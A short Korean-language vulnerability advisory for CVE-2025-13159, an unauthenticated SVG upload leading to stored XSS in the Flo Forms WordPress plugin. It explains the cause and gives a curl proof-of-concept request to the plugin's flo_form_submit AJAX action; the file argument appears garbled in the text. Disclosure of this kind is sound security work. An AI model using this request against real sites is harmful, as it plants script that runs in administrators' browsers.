
Disclosure for CVE-2025-13159
CVE-2025-13159 공개
이 저장소는 Flo Forms – Easy Drag & Drop Form Builder <= 1.0.43에서 발견된 취약점을 공개합니다. 이는 flothemesplugins에서 개발한 WordPress 플러그인입니다.
| CVE ID | 유형 | 구성 요소 | 영향 |
|---|---|---|---|
| CVE-2025-13159 | 인증되지 않은 사용자의 SVG 업로드를 통한 저장형 XSS | public/class-flo-forms-public.php | 인증되지 않은 공격자가 JS를 실행할 수 있음 |
flo_form_submit을 악용하여 관리자 인터페이스에 임의 스크립트를 주입할 수 있습니다.curl -k -X POST "https://localhost:8080/wp-admin/admin-ajax.php" \
-F 'action=flo_form_submit' \
-F 'flo_fid=<your fid>' \
-F 'flo-form-model={}' \
-F 'flo-form-schema={"groups":[]}' \
-F '[email protected];type=image/svg+xml'
※객체 내의 fid가 존재하지 않으면 실패합니다.
이 플러그인은 WordPress의 허용 MIME 타입에 image/svg+xml을 추가하고, 인증되지 않은 AJAX 액션(flo_form_submit)을 노출하여 파일 첨부를 수락하고, SVG 정화(sanitization)나 권한 검사 없이 media_handle_upload()에 전달합니다. 업로드된 SVG는 다시 image/svg+xml로 제공되며 관리자 UI에서 링크됩니다. 관리자가 첨부 파일을 열면(직접 또는 /을 통해), 브라우저는 SVG 문서를 해석하고 포함된 스크립트를 실행하여 저장형 XSS가 발생합니다.
한 달이 지났지만 아직 패치가 공개되지 않았고, 다운로드 자체가 중단되었습니다. 이번에는 PoC 재현이 쉽지 않아 1시간 이상 막혔지만 결과적으로 XSS.svg 앞에 @를 붙이는 것을 잊었던 것이 밝혀졌습니다.
이름: MooseLove
역할: 독립 보안 연구원 / 버그 헌터
연락처: 요청 시 제공 가능
이 권고는 공공 보안 인식을 위해 제공됩니다. 출처를 밝히고 자유롭게 공유할 수 있습니다.